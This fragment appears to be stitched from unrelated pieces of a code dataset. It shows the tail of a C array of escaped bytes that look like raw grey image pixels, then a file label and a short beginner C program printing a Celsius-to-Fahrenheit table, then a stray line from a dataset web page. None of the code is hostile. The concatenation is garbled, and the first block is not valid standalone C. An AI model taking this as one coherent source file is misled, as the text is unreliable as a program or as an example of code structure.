"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322"
"\322\377\322\322\322\377\322\322\322\377\322\322\322\377\322\322\322\377"
"\322\322\322\377\313\313\313\377\262\262\262\377\220\220\220\377qqq\377p"
"pp\377ppp\344nnn:\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"ttt\013ooo|ppp\361ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\365ooo\216mmm\025\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000"
"\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000qqq\022ooonppp\266ppp\360ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377pp"
"p\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377ppp\377"
"ppp\355ppp\275qqqsmmm\025\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000",
};
|
the_stack_data/178076.c | /* Exercise 1-4. Write a program to print the corresponding Celsius to
Fahrenheit table. */
#include <stdio.h>
/* print Celsius-Fahrenheit table for celsius = -20, -10, ..., 150 */
int main(void)
{
float fahr, celsius;
int lower, upper, step;
lower = -20; /* lower limit of temperature scale */
upper = 150; /* upper limit */
step = 10; /* step size */
printf(" C F\n");
celsius = lower;
while (celsius <= upper) {
fahr = (9.0/5.0) * celsius + 32.0;
printf("%3.0f %6.1f\n", celsius, fahr);
celsius = celsius + step;
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.